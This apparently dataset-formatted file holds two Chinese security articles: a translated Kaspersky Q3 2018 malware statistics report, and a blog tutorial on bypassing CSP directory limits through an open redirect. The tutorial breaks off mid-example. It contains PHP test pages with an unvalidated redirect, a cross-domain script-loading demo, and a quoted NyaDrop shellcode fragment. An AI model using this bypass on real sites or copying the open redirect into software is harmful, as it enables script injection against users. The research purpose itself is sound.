text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 卡巴斯基 - 2018年Q3 IT威胁演变的统计分析
##### 译文声明
本文是翻译文章，文章原作者 Kaspersky，文章来源：securelist.com
原文地址：<https://securelist.com/it-threat-evolution-q3-2018-statistics/88689/>
译文仅供参考，具体内容表达以及含义原文为准。
本报告中的统计数据是基于卡巴斯基用户自愿共享的检测数据。
## 一、第三季度相关数字
根据卡巴斯基安全网络（KSN）：
· 卡巴斯基安全解决方案共阻止了来自全球203个国家/地区的在线资源发起的947,027,517次攻击。
· 卡巴斯基的Web反病毒组件共识别出246,695,333个唯一恶意URL。
· 在305,315个用户的计算机上发现了针对在线银行账户的恶意软件感染
· 共有259,867个不同的用户遭到勒索软件攻击
· 我们的文件反病毒系统记录了239,177,356个不同的恶意或潜在有害的样本
· 卡巴斯基的移动安全解决方案共检测到：
o 1,305,015个恶意安装包
o 55,101个移动银行木马恶意安装包
o 13,075个移动勒索软件木马安装包
## 二、移动威胁
### 2.1、Q3相关事件
本季度最大的新闻或许是银行木马[Trojan-Banker.AndroidOS.Asacub](https://securelist.com/the-rise-of-mobile-banker-asacub/87591/)。该木马的恶意活动在9月份达到了顶峰，超过25万个不同的用户遭到攻击–这还只是安装了卡巴斯基产品的用户的统计数据。
2017年到2018年遭到移动银行木马Asacub攻击的用户数量
到目前为止，在我们观察到的移动威胁之中，银行木马Asacub的攻击规模是最大的。该木马的版本号是连续的，这意味着同一个攻击者发起了这些攻击。统计所有受影响的用户的数量不太可能，但这种大规模的恶意活动至少需要感染上万的用户才能获利。
### 2.2、移动威胁的统计分析
在2018年第三季度，卡巴斯基实验室共检测到1,305,015个恶意安装包，比上一季度减少了439,229个。
2017 Q3 –2018 Q3，恶意安装包的数量
#### 2.2.1、恶意移动app的类型分布
在2018年Q3检测到的所有威胁当中，潜在有害的灰色软件（RiskTool）的份额最大（52.05%）；与上一季度相比，下降了3.3个百分点。RiskTool.AndroidOS.SMSreg家族的成员居功至伟。
2018年Q2-Q3，恶意移动app的类型分布
第二名是Trojan-Dropper，占22.57%，与上一季度相比增长了9个百分点。这类恶意文件大多属于Trojan-Dropper.AndroidOS.Piom、Trojan-Dropper.AndroidOS.Wapnor和Trojan-Dropper.AndroidOS.Hqwar家族。
广告app的份额继续下降，占6.44%（2018年Q2是8.91%）。
统计数据表明针对财务信息的移动威胁在2018年数量不断增长（移动银行木马在Q1的份额是1.5%，到了Q3增长到了4.38%）。
移动恶意软件TOP 20
|
Verdicts*
|
%**
---|---|---
1
|
DangerousObject.Multi.Generic
|
55.85
2
|
Trojan.AndroidOS.Boogr.gsh
|
11.39
3
|
Trojan-Banker.AndroidOS.Asacub.a
|
5.28
4
|
Trojan-Banker.AndroidOS.Asacub.snt
|
5.10
5
|
Trojan.AndroidOS.Piom.toe
|
3.23
6
|
Trojan.AndroidOS.Dvmap.a
|
3.12
7
|
Trojan.AndroidOS.Triada.dl
|
3.09
8
|
Trojan-Dropper.AndroidOS.Tiny.d
|
2.88
9
|
Trojan-Dropper.AndroidOS.Lezok.p
|
2.78
10
|
Trojan.AndroidOS.Agent.rt
|
2,74
11
|
Trojan-Banker.AndroidOS.Asacub.ci
|
2.62
12
|
Trojan-Banker.AndroidOS.Asacub.cg
|
2.51
13
|
Trojan-Banker.AndroidOS.Asacub.ce
|
2.29
14
|
Trojan-Dropper.AndroidOS.Agent.ii
|
1,77
15
|
Trojan-Dropper.AndroidOS.Hqwar.bb
|
1.75
16
|
Trojan.AndroidOS.Agent.pac
|
1.61
17
|
Trojan-Dropper.AndroidOS.Hqwar.ba
|
1.59
18
|
Exploit.AndroidOS.Lotoor.be
|
1.55
19
|
Trojan.AndroidOS.Piom.uwp
|
1.48
20
|
Trojan.AndroidOS.Piom.udo
|
1.36
*该排名并未包含任何潜在有害的程序，如灰色软件或广告软件
**遭受该恶意软件攻击的唯一用户数占所有遭受攻击的卡巴斯基移动用户数量的比例
第一名又一次花落DangerousObject.Multi.Generic（55.85%）。
第二名是Trojan.AndroidOS.Boogr.gsh（11.39%）。
第三名和第四名都是移动银行木马Asacub家族的代表– Trojan-Banker.AndroidOS.Asacub.a（5.28%）和Trojan-Banker.AndroidOS.Asacub.snt（5.10%）。
#### 2.2.2、移动威胁的地理分布
2018年Q3，移动恶意软件的感染地图
遭到移动恶意软件攻击的用户比例较高的国家排名（Top 10）：
|
国家*
|
%**
---|---|---
1
|
孟加拉
|
35.91
2
|
尼日利亚
|
28.54
3
|
伊朗
|
28.07
4
|
坦桑尼亚
|
28.03
5
|
中国
|
25.61
6
|
印度
|
25.25
7
|
巴基斯坦
|
25.08
8
|
印度尼西亚
|
25.02
9
|
菲律宾
|
23.07
10
|
阿尔及利亚
|
22.88
| |
*该排名不包括卡巴斯基移动反病毒软件用户相对较少的国家（少于1万）
**该国家遭到攻击的唯一用户占该国家所有卡巴斯基移动反病毒软件用户的百分比
在2018年第三季度，孟加拉国（35.91%）仍然是移动用户受攻击比例排行榜的榜首。尼日利亚（28.54%）排在第二。第三和第四分别是伊朗（28.07%）和坦桑尼亚（28.03%）。
### 2.3、移动银行木马
在报告期内，我们共检测到55,101个移动银行木马安装包，比2018年Q2减少了约6000个。
最大的贡献来自于银行木马Trojan-Banker.AndroidOS.Hqwar.jck家族–占检测到的所有银行木马的35%。其次是Trojan-Banker.AndroidOS.Asacub，占29%。
2017 Q3-2018 Q3，卡巴斯基检测到的移动银行木马安装包数量
|
Verdicts
|
%*
---|---|---
1
|
Trojan-Banker.AndroidOS.Asacub.a
|
33.27
2
|
Trojan-Banker.AndroidOS.Asacub.snt
|
32.16
3
|
Trojan-Banker.AndroidOS.Asacub.ci
|
16.51
4
|
Trojan-Banker.AndroidOS.Asacub.cg
|
15.84
5
|
Trojan-Banker.AndroidOS.Asacub.ce
|
14.46
6
|
Trojan-Banker.AndroidOS.Asacub.cd
|
6.66
7
|
Trojan-Banker.AndroidOS.Svpeng.q
|
3.25
8
|
Trojan-Banker.AndroidOS.Asacub.cf
|
2.07
9
|
Trojan-Banker.AndroidOS.Asacub.bz
|
1.68
10
|
Trojan-Banker.AndroidOS.Asacub.bw
|
1.68
*遭受该恶意软件攻击的唯一用户数占所有遭受银行木马攻击的卡巴斯基移动用户数量的比例
在2018年第三季度，移动银行木马的TOP 10几乎都是Trojan-Banker.AndroidOS.Asacub的变种（前十之中占了九席）。
2018年Q3，移动银行威胁的地理分布
遭到移动银行木马攻击的用户比例较高的国家排名（Top 10）：
|
国家*
|
%**
---|---|---
1
|
俄罗斯
|
2.18
2
|
南非
|
2.16
3
|
马来西亚
|
0.53
4
|
乌克兰
|
0.41
5
|
澳大利亚
|
0.39
6
|
中国
|
0.35
7
|
韩国
|
0.33
8
|
塔吉克斯坦
|
0.30
9
|
美国
|
0.27
10
|
波兰
|
0.25
| |
*该排名不包括卡巴斯基移动反病毒软件用户相对较少的国家（少于1万）
**该国家遭到移动银行木马攻击的唯一用户数占该国家所有卡巴斯基移动反病毒软件用户的百分比
在2018年第三季度，由于银行木马Asacub的活跃，俄罗斯排在遭受银行木马攻击的移动用户比例Top
10国家的榜首。上一季度的第一名USA本季度掉到了第九（0.27%）。本季度的第二和第三分别是南非（2.16%）和马来西亚（0.53%）。
### 2.4、移动勒索软件木马
在2018年第三季度，我们共检测到 13,075个移动勒索软件木马安装包，比第二季度减少了1044个。
2017 Q3-2018 Q3，卡巴斯基实验室检测到的移动勒索软件木马安装包的数量
|
Verdicts
|
%*
---|---|---
1
|
Trojan-Ransom.AndroidOS.Svpeng.ag
|
47.79
2
|
Trojan-Ransom.AndroidOS.Svpeng.ah
|
26.55
3
|
Trojan-Ransom.AndroidOS.Zebt.a
|
6.71
4
|
Trojan-Ransom.AndroidOS.Fusob.h
|
6.23
5
|
Trojan-Ransom.AndroidOS.Rkor.g
|
5.50
6
|
Trojan-Ransom.AndroidOS.Svpeng.snt
|
3.38
7
|
Trojan-Ransom.AndroidOS.Svpeng.ab
|
2.15
8
|
Trojan-Ransom.AndroidOS.Egat.d
|
1.94
9
|
Trojan-Ransom.AndroidOS.Small.as
|
1.43
10
|
Trojan-Ransom.AndroidOS.Small.cj
|
1.23
*遭受该恶意软件攻击的唯一用户数占所有遭受勒索软件木马攻击的卡巴斯基移动用户数量的比例
在2018年第三季度，传播最广泛的移动勒索软件是Svpeng家族– Trojan-Ransom.AndroidOS.Svpeng.ag（47.79%）和Trojan-Ransom.AndroidOS.Svpeng.ah（26.55%）。这两个代表加起来占本季度所有移动勒索软件木马攻击的四分之三。一度很流行的Zebt家族和Fusob家族现在大幅下降，掉到了第三和第四，分别是Trojan-Ransom.AndroidOS.Zebt.a（6.71%）和Trojan-Ransom.AndroidOS.Fusob.h（6.23%）。
2018年Q3，移动勒索软件木马的地理分布
遭到移动勒索软件木马攻击的用户比例较高的国家排名（Top 10）：
|
国家*
|
%**
---|---|---
1
|
美国
|
1.73
2
|
哈萨克斯坦
|
0.36
3
|
中国
|
0.14
4
|
意大利
|
0.12
5
|
伊朗
|
0.11
6
|
比利时
|
0.10
7
|
瑞士
|
0.09
8
|
波兰
|
0.09
9
|
墨西哥
|
0.09
10
|
罗马尼亚
|
0.08
*该排名不包括卡巴斯基移动反病毒软件用户相对较少的国家（少于1万）
**该国家遭到移动勒索软件木马攻击的唯一用户数占该国家所有卡巴斯基移动反病毒软件用户的百分比
与第二季度一样，第一名是美国（1.73%）。哈萨克斯坦上升了一位，排在第二（0.6%）。中国从第七名上升至第三名（0.14%）。
## 三、IoT威胁
在本季度的报告中，我们决定只分析Telnet攻击的统计数据。原因如下表所示，Telnet攻击占据了绝大多数的恶意软件类型，并且是最为频繁的攻击类型。
|
---|---
Telnet
|
99,4%
SSH
|
0,6%
2018年Q3，遭到攻击的服务分布（基于遭到攻击的不同IP地址的数量进行统计）
### 3.1、Telnet攻击
2018年Q3，遭到攻击的设备IP地址的地理分布（基于卡巴斯基的蜜罐数据）
攻击来源国家的Top 10（基于卡巴斯基的蜜罐数据）：
|
国家/地区
|
%*
---|---|---
1
|
中国
|
27.15%
2
|
巴西
|
10.57%
3
|
俄罗斯
|
7.87%
4
|
埃及
|
7.43%
5
|
美国
|
4.47%
6
|
韩国
|
3.57%
7
|
印度
|
2.59%
8
|
中国台湾
|
2.17%
9
|
土耳其
|
1.82%
10
|
意大利
|
1.75%
*每个国家/地区的受感染设备占全球用于发起Telnet攻击的IoT设备数量的百分比
根据卡巴斯基实验室的蜜罐数据，2018年第三季度攻击来源国家排行榜（基于唯一IP地址的数量统计）的第一名是中国（23.15%）。第二季度的冠军巴西本季度排在第二（10.57%）。第三名是俄罗斯（7.87%）。
在Telnet攻击中最常被下载的恶意软件是Downloader.Linux.NyaDrop.b（62.24%）。该恶意软件相当令人印象深刻，它包含一段shell
code，可以从刚刚的攻击来源计算机上下载其它恶意软件，而且不调用任何其它工具 –
它所有的行为都通过系统调用进行。换句话说，NyaDrop就是那种全能士兵，它可以无视环境自行完成任务。
下载NyaDrop最多的是木马家族Backdoor.Linux.Hajime，因为Hajime可以将NyaDrop当作一个十分好使的自我传播手段。该流程十分有意思：
1\. 成功感染设备后，Hajime会扫描网络，以期发现新的受害者。
2\. 一旦发现合适的目标，就会向该设备下载一个轻量级NyaDrop（只有480个字节）
3\. NyaDrop再回头联系感染源，慢慢下载Hajime（这货比较大）
所有的步骤都是必须的，因为虽然通过Telnet执行命令不难，但通过Telnet下载文件却是一个相当大的挑战。例如，下面是创建NyaDrop文件时的命令：
echo -ne "x7fx45x4cx46x01x01x01x00x00
可以通过这种方式发送480个字节，但显然发送60KB的内容有些困难。
在Telnet攻击中下载最多的恶意软件（Top 10）：
|
Verdicts
|
%*
---|---|---
1
|
Trojan-Downloader.Linux.NyaDrop.b
|
62.24%
2
|
Backdoor.Linux.Mirai.ba
|
16.31%
3
|
Backdoor.Linux.Mirai.b
|
12.01%
4
|
Trojan-Downloader.Shell.Agent.p
|
1.53%
5
|
Backdoor.Linux.Mirai.c
|
1.33%
6
|
Backdoor.Linux.Gafgyt.ay
|
1.15%
7
|
Backdoor.Linux.Mirai.au
|
0.83%
8
|
Backdoor.Linux.Gafgyt.bj
|
0.61%
9
|
Trojan-Downloader.Linux.Mirai.d
|
0.51%
10
|
Backdoor.Linux.Mirai.bj
|
0.37%
* Telnet攻击中下载至IoT设备上的每一种恶意软件的占比
该排名与上一季度变化不大：Top 10中的五个席位都被Mirai的不同变体所占据。看起来迄今为止Mirai仍然是传播最为广泛的IoT恶意软件。
## 四、金融威胁
### 4.1、Q3相关事件
Q2发现的新银行木马DanaBot在Q3继续迅猛发展。新变体不仅包含新的C&C通信协议，而且扩大了攻击目标列表。该木马在Q2主要针对澳大利亚和波兰，但在Q3开始针对奥地利、德国和意大利的企业。
简要回顾一下，DanaBot具有模块化的结构，可以加载许多模块，包括用于拦截流量和窃取密码以及加密货币钱包的模块等。该木马主要通过包含恶意office文档的垃圾邮件传播。
### 4.2、金融威胁的统计分析
在2018年第三季度，卡巴斯基安全解决方案共帮助305,315个用户阻止了针对在线银行账户的恶意软件感染企图。
2018年Q3，遭到金融恶意软件攻击的唯一用户数量
#### 4.2.1、攻击的地理分布
为了评估和比较全球范围内的银行木马和ATM/POS恶意软件的感染风险，我们统计了报告期内各个国家遭到此类威胁攻击的卡巴斯基用户占该国家所有卡巴斯基用户的比例。
2018年Q3，银行恶意软件攻击的地理分布
遭到银行恶意软件攻击的用户比例较高的国家排名（Top 10）：
|
国家*
|
%**
---|---|---
1
|
德国
|
3.0
2
|
韩国
|
2.8
3
|
希腊
|
2.3
4
|
马来西亚
|
2.1
5
|
塞尔维亚
|
2.0
6
|
阿联酋
|
1.9
7
|
葡萄牙
|
1.9
8
|
立陶宛
|
1.9
9
|
印度尼西亚
|
1.8
10
|
柬埔寨
|
1.8
*该排名不包括卡巴斯基用户相对较少的国家（少于1万）
**该国家遭到银行恶意软件攻击的唯一用户数占该国家所有卡巴斯基用户的百分比
银行恶意软件家族排名（Top 10）：
|
Name
| Verdicts |
%*
|
---|---|---|---|---
1
|
Zbot
| Trojan.Win32.Zbot |
25.8
|
2
|
Nymaim
| Trojan.Win32.Nymaim |
18.4
|
3
|
SpyEye
| Backdoor.Win32.SpyEye |
18.1
|
4
|
RTM
| Trojan-Banker.Win32.RTM |
9.2
|
5
|
Emotet
| Backdoor.Win32.Emotet |
5.9
|
6
|
Neurevt
| Trojan.Win32.Neurevt |
4.7
|
7
|
Tinba
| Trojan-Banker.Win32.Tinba |
2.8
|
8
|
NeutrinoPOS
| Trojan-Banker.Win32.NeutrinoPOS |
2.4
|
9
|
Gozi
| Trojan.Win32. Gozi |
1.6
|
10
|
Trickster
| Trojan.Win32.Trickster |
1.4
|
*遭受该恶意软件攻击的唯一用户数占所有遭受银行威胁攻击的卡巴斯基用户数量的比例
在2018年第三季度，本Top 10列表中出现了三个新面孔：Trojan.Win32.Trickster（1.4%）、Trojan-Banker.Win32.Tinba（2.8%）和Trojan-Banker.Win32.RTM（9.2%）。其中后者因为7月中旬的大规模垃圾邮件活动排在第四名。
总体而言，Top 3没什么变化，唯一的变化是Trojan.Win32.Nymaim从第二季度的27%掉到第三季度的18.4%，从第一名掉至第二名。
## 五、勒索软件（加密类木马）
### 5.1、Q3相关事件
7月初，卡巴斯基安全专家发现属于臭名昭著的Rakhni木马的一个不同寻常的新变体。不同于以往的案例，该变体引人注意的是它现在用于分发[恶意矿工](https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/)而不是勒索软件。
8月份出现了另一个不寻常的勒索软件[KeyPass](https://securelist.com/keypass-ransomware/87412/)。KeyPass的作者似乎为所有可能的感染场景都做好了准备 –
不管是垃圾邮件，还是漏洞利用工具包（EK），或者是针对目标系统的暴力密码破解攻击。KeyPass木马不仅可以运行在隐藏模式下，还可以运行在GUI模式下，以便攻击者可以配置加密参数。
在这一时期内，执法机构也在继续他们惯常的勒索软件对抗战争。在数年的调查之后，两名荷兰的犯罪人员因散播勒索软件[CoinVault](https://securelist.com/coinvault-are-we-reaching-the-end-of-the-nightmare/72187/)被判[有罪](https://securelist.com/coinvault-the-court-case/86503/)。
### 5.2、统计分析
#### 5.2.1、新变体的数量
第三季度新勒索软件变体的数量明显要比第二季度要少，与第一季度的数字接近。
2017 Q4-2018 Q3，新勒索软件变体的数量
#### 5.2.2、遭勒索软件攻击的用户数量
在2018年第三季度，卡巴斯基产品共保护了259,867名用户免遭勒索软件攻击。这一数字不仅与第二季度相比有所增长，而且在第三季度本身也是逐月增长的。在9月份我们观察到勒索软件感染企图的一个显著增长，这可能与夏季假期的结束有关。
2018年Q3，遭到勒索软件攻击的唯一用户数量
#### 5.2.3、攻击的地理分布
2018年Q3，勒索软件攻击的地理分布
遭到勒索软件攻击的用户比例较高的国家排名（Top 10）：
|
国家*
|
%**
---|---|---
1
|
孟加拉
|
5.80
2
|
乌兹别克斯坦
|
3.77
3
|
尼泊尔
|
2.18
4
|
巴基斯坦
|
1.41
5
|
印度
|
1.27
6
|
印度尼西亚
|
1.21
7
|
越南
|
1.20
8
|
莫桑比克
|
1.06
9
|
中国
|
1.05
10
|
哈萨克斯坦
|
0.84
*该排名不包括卡巴斯基用户相对较少的国家（少于5万）
**该国家遭到勒索软件攻击的唯一用户数占该国家所有卡巴斯基用户的百分比
亚洲国家占据了该排名中的大多数席位。孟加拉国领跑（5.8%），乌兹别克斯坦紧随其后（3.77%），新面孔尼泊尔排在第三（2.18%）。巴基斯坦（1.41%）排在第四，中国（1.05%）则从第六掉到第九，同时越南（1.20%）也从第三掉到第七。
传播最广泛的勒索软件家族（Top 10）：
|
Name
| Verdicts |
%*
|
---|---|---|---|---
1
|
WannaCry
| Trojan-Ransom.Win32.Wanna |
28.72%
|
2
|
(generic verdict)
| Trojan-Ransom.Win32.Phny |
13.70%
|
3
|
GandCrab
| Trojan-Ransom.Win32.GandCrypt |
12.31%
|
4
|
Cryakl
| Trojan-Ransom.Win32.Cryakl |
9.30%
|
5
|
(generic verdict)
| Trojan-Ransom.Win32.Gen |
2.99%
|
6
|
(generic verdict)
| Trojan-Ransom.Win32.Cryptor |
2.58%
|
7
|
PolyRansom/VirLock
| Virus.Win32.PolyRansom |
2.33%
|
8
|
Shade
| Trojan-Ransom.Win32.Shade |
1,99%
|
9
|
Crysis
| Trojan-Ransom.Win32.Crusis |
1.70%
|
10
|
(generic verdict)
| Trojan-Ransom.Win32.Encoder |
1.70%
|
| | | | |
*遭受该勒索软件家族攻击的唯一用户数占所有遭受勒索软件攻击的卡巴斯基用户数量的比例
前十名中出现了越来越多的通用样本特征（generic
verdict），这是卡巴斯基智能情报系统自动检测的结果。WannaCry（28.72%）仍旧领跑。GandCrab（12.31%）也仍占有一席之地，本季度该勒索软件出现了两个新的版本。Top
10中的旧面孔还包括PolyRansom、Cryakl、Shade和Crysis。而Cerber和Purgen则掉出了本季度的前十名。
## 六、恶意矿工
正如我们在报告《[2016～2018勒索软件和恶意矿工的威胁景观](https://securelist.com/ransomware-and-malicious-crypto-miners-in-2016-2018/86238/)》中描述的那样，勒索软件渐渐下滑，而恶意矿工正在取代它的位置。因此今年开始我们决定在季度报告中分析此类威胁（恶意矿工）的现状。同时，我们开始使用更广泛的verdicts来统计恶意矿工的数据，因此今年的季度报告中的数据可能与早期的报告并不一致。
### 6.1、统计分析
#### 6.1.1、新变体的数量
在2018年第三季度，卡巴斯基安全解决方案共检测到31,991个新恶意矿工变体。
2018年Q3，新恶意矿工变体的数量
#### 6.1.2、遭恶意矿工攻击的用户数量
第三季度卡巴斯基产品共在全球1,787,994名用户的计算机中检测到恶意挖矿软件。
2018年Q3，遭到恶意矿工攻击的唯一用户数量
2018年9月恶意矿工的攻击数量与6月份差不多，但第三季度的整体趋势是下降的。
#### 6.1.3、攻击的地理分布
2018年Q3，恶意矿工攻击的地理分布
遭到恶意矿工攻击的用户比例较高的国家排名（Top 10）：
|
国家*
|
%**
---|---|---
1
|
阿富汗
|
16.85%
2
|
乌兹别克斯坦
|
14.23%
3
|
哈萨克斯坦
|
10.17%
4
|
白俄罗斯
|
9.73%
5
|
越南
|
8.96%
6
|
印度尼西亚
|
8.80%
7
|
莫桑比克
|
8.50%
8
|
乌克兰
|
7.60%
9
|
坦桑尼亚
|
7.51%
10
|
阿塞拜疆
|
7.13%
*该排名不包括卡巴斯基用户相对较少的国家（少于5万）
**该国家遭到恶意矿工攻击的唯一用户数占该国家所有卡巴斯基用户的百分比
## 七、常见攻击平台
常见攻击平台的分布与第二季度相比没什么变化。微软Office应用（70%）仍然是遭到最多攻击的平台 – 是浏览器（排名第二的攻击平台）的5倍。
尽管距离Office公式编辑器漏洞（CVE-2017-11882和CVE-2018-0802）的修复已经过去了很长一段时间，但这两个漏洞的exploits仍然是恶意垃圾邮件中最流行的选择。
针对VBS脚本引擎中的漏洞 [CVE-2018-8373](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8373)的exploit也在野外被发现（该漏洞影响了IE9～11，并于8月底被修复）。但犯罪分子对该漏洞的使用并不多，这可能是因为IE本身就不怎么流行，而且在最新的Win
10中VBS脚本默认一直是禁用的。
2018年Q3，犯罪分子使用的exploits的分布（按攻击平台进行划分）
第三季度还出现了两个非典型0day – [CVE-2018-8414](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8414)和[CVE-2018-8440](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8440)。这两个漏洞特殊的地方在于，漏洞细节和PoC文件在官方补丁发布之前就向公众披露了。
关于CVE-2018-8414，一篇详细地描述了如何利用SettingContent-ms文件来在Windows上执行任意代码的文章早在6月份就向公众发布了。一个月之后，在第三季度该漏洞的修复补丁才姗姗来迟（犯罪分子早已在积极利用该漏洞）。刚开始时，研究人员是将该漏洞报告给微软的，但微软认为这不是一个漏洞，不需要发布修复补丁。但随着犯罪分子开始积极利用这种文件分发恶意payload，微软才重新考虑并在7月14日发布了修复补丁。根据KSN的统计数据，SettingContent-ms文件在犯罪分子之中并不是很流行，在修复补丁发布后，基本上就停止使用了。
另一个有意思的案例是CVE-2018-8440。和上面的情况一样，研究人员故意发布了用于重现该漏洞的所有信息，然后攻击者就开始利用该漏洞。CVE-2018-8440是一个提权漏洞，可允许攻击者提升至最高权限级别
–
System。该漏洞与Windows处理计划任务程序中的高级本地过程调用（ALPC）有关。ALPC中的漏洞使得攻击者可以将任意访问控制列表（DACL）修改成普通权限即可访问。利用该漏洞使得普通用户可以修改任意系统文件的访问权限。
## 八、在线威胁
本小节中的统计数据是基于卡巴斯基的Web反病毒系统收集的数据。该系统可在计算机从恶意/被感染的网页上下载恶意文件时保护用户。这些恶意网站可能是由犯罪分子创建的网站，或是受感染的web资源（例如包含用户自创建内容的论坛等）以及被入侵的合法资源。
### 8.1、在线威胁的来源国家分布
以下统计数据是基于攻击中使用的在线资源的物理位置，这些在线资源可能包括：包含恶意重定向的网页、包含漏洞利用以及恶意软件的网站、僵尸网络C&C服务器等。一个主机可能是一个或多个网络攻击的威胁来源。为了确定网络攻击来源的地理分布，我们将其域名与真实IP地址进行配对，然后建立了IP-地理位置信息库（GEOIP）。
在2018年第三季度，卡巴斯基安全解决方案共阻止了全球203个国家的在线资源发起的
947,027,517次攻击。我们的Web反病毒组件共识别出246,695,333个唯一恶意URL。
2018年Q3，网络攻击来源的国家分布
在第三季度，美国（52.81%）是web攻击来源最多的国家。整体上来看，前四名与第二季度没有变化：美国后面分别是荷兰（16.26%）、德国（6.94%）和法国（4.4%）。
### 8.2、在线威胁的目标国家分布（用户风险最大的国家）
为了评估不同国家/地区的用户面临的在线感染风险，我们计算了每个国家/地区的卡巴斯基用户的计算机在本季度触发Web反病毒组件的百分比。这些数据表明了不同国家/地区的计算机面临的风险大小。
此排名仅包含属于恶意软件类别的攻击，不包含潜在危险/有害的软件的检测数据（比如说灰色软件、广告软件）。
|
国家*
|
%**
---|---|---
1
|
委内瑞拉
|
35.88
2
|
阿尔巴尼亚
|
32.48
3
|
阿尔及利亚
|
32.41
4
|
白俄罗斯
|
31.08
5
|
亚美尼亚
|
29.16
6
|
乌克兰
|
28.67
7
|
摩尔多瓦
|
28.64
8
|
阿塞拜疆
|
26.67
9
|
吉尔吉斯斯坦
|
25.80
10
|
塞尔维亚
|
25.38
11
|
毛里塔尼亚
|
24.89
12
|
印度尼西亚
|
24.68
13
|
罗马尼亚
|
24.56
14
|
卡塔尔
|
23.99
15
|
哈萨克斯坦
|
23.93
16
|
菲律宾
|
23.84
17
|
立陶宛
|
23.70
18
|
吉布提
|
23.70
19
|
拉脱维亚
|
23.09
20
|
洪都拉斯
|
22.97
*该排名不包括卡巴斯基用户相对较少的国家（少于1万）
**该国家遭到恶意软件类别的攻击的唯一用户数占该国家所有卡巴斯基用户的百分比
平均而言，全球18.92%的互联网用户至少遭到一次恶意软件类别的网络攻击。
2018年Q3，恶意网络攻击的地理分布
## 九、本地威胁
关于用户计算机遭到的本地感染的统计数据是一个非常重要的指标：它能反映出通过被感染的文件、可移动媒体或加密文件（例如复杂的安装程序或加密文件中包含的恶意程序）入侵计算机的威胁。
本小节中的数据是基于对硬盘上的文件还有可移动媒体的反病毒扫描结果的统计分析。这些可移动媒体可能包括U盘、存储卡、手机和移动硬盘等。
在2018年第三季度，卡巴斯基的文件反病毒系统共检测到239,177,356个不同的潜在有害/恶意样本。
### 9.1、本地威胁的目标国家分布（用户风险最大的国家）
对于每个国家/地区，我们计算了在报告期内触发了文件反病毒系统的卡巴斯基用户的百分比。这些数据反映出该国家/地区的个人计算机遭受感染的风险程度。
此排名仅包含属于恶意软件类别的攻击，不包含卡巴斯基文件反病毒系统检测到的潜在危险/有害的程序，如灰色软件和广告软件。
|
国家*
|
%**
---|---|---
1
|
乌兹别克斯坦
|
54.93
2
|
阿富汗
|
54.15
3
|
也门
|
52.12
4
|
土库曼斯坦
|
49.61
5
|
塔吉克斯坦
|
49.05
6
|
老挝
|
47.93
7
|
叙利亚
|
47.45
8
|
越南
|
46.07
9
|
孟加拉
|
45.93
10
|
苏丹
|
45.30
11
|
埃塞俄比亚
|
45.17
12
|
缅甸
|
44.61
13
|
莫桑比克
|
42.65
14
|
吉尔吉斯斯坦
|
42.38
15
|
伊拉克
|
42.25
16
|
卢旺达
|
42.06
17
|
阿尔及利亚
|
41.95
18
|
喀麦隆
|
40.98
19
|
马拉维
|
40.70
20
|
白俄罗斯
|
40.66
*该排名不包括卡巴斯基用户相对较少的国家（少于1万）
**该国家遭到恶意软件类别的攻击的唯一用户数占该国家所有卡巴斯基用户的百分比
2018年Q3，恶意本地攻击的地理分布
平均而言，全球22.53%的计算机在第三季度遭到至少一次恶意软件类别的本地攻击。 | 社区文章 |
# 【技术分享】redirect Bypass CSP 目录限制
|
##### 译文声明
本文是翻译文章，文章来源：lorexxar
原文地址：<http://lorexxar.cn/2016/10/31/csp-then2>
译文仅供参考，具体内容表达以及含义原文为准。
CSP真神奇，前段时间看了一篇国外的文章[[原文连接]](https://chloe.re/2016/07/25/bypassing-paths-with-open-redirects-in-csp/)，导致有了新的体验，302不仅仅可以在ssrf中有特殊的表现，就连csp也可以，很强势。
**漏洞**
让我们逐步分析漏洞的成因
根据文章，首先我们意识到如果我们构造一个重定向，就可以bypass CSP的域限制，在分析之前，我们先看一个测试页面
<?php
header("Content-Security-Policy: script-src http://127.0.0.1/ http://xss.cc/the_only_allow_dir/");
?>
<html>
<head>
</head>
<body>
csp header test
<script src="/test/js/test.php?u=//xss.cc/myjs/a.js">
</script>
</body>
</html>
这是一个比较常见的包含csp的站，整个站都在/test/下，/test/js/下包含正常的js.
而CSP中仅仅允许了两个域
– <http://127.0.0.1>
– <http://xss.cc/the_only_allow_dir/>
在第一个域下的某个位置有个可以定义重定向的页面，比如
<http://127.0.0.1/test.php>
这里测试的时候写在了根目录下，不过是要是域内允许的任何位置都可以
<?php
header("Location: " . $_GET[u]);
?>
这样的功能一般多出现在登陆页面
第二个我们需要一个被允许的域，比如http://127.0.0.1/里一般会有js目录被允许，然后可能存在upload域可以上传一个js
这里我们允许了http://xss.cc/the_only_allow_dir/这个域，然后在
http://xss.cc/myjs/a.js
写了一个js，内容是
alert(32)
现在所有的条件都具备了，打开上面的测试页面。
成功了
**漏洞的限制以及必备条件？**
在成功之后，我们可能需要讨论的更多，那么这个漏洞的限制在哪
**如果我们不允许302所在的域**
代码成了下面这样
<?php
header("Content-Security-Policy: script-src http://127.0.0.1/test/js/ http://xss.cc/test/");
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
</script>
-->
<script src="/test/302.php?u=//xss.cc/myjs/a.js">
</script>
</body>
</html>
这里我们把302.php放在了站的根目录下，而我们只允许了http://127.0.0.1/test/js/和http://xss.cc/test/两个域下，很显然，302.php并不在被允许的域，结果显而易见。
被CSP拦截了
**去掉外域的允许**
将代码改为
<?php
header("Content-Security-Policy: script-src http://127.0.0.1/test/js/");
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
</script>
-->
<script src="/test/js/302.php?u=//xss.cc/myjs/a.js">
</script>
</body>
</html>
我们/test/js/302.php?u=//xss.cc/myjs/a.js这句跳转到了外域xss.cc的myjs目录下，但是我们把外域下的CSP策略删除了。
结果是CSP仍然会追过去，被拦截了，什么都没发生。
**外域既然允许，我们可以直接使用吗**
测试到这里，肯定有个猜测，如果外域既然允许，是不是我们可以直接使用，代码如下
<?php
header("Content-Security-Policy: script-src http://127.0.0.1/test/js/ http://xss.cc/test/");
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
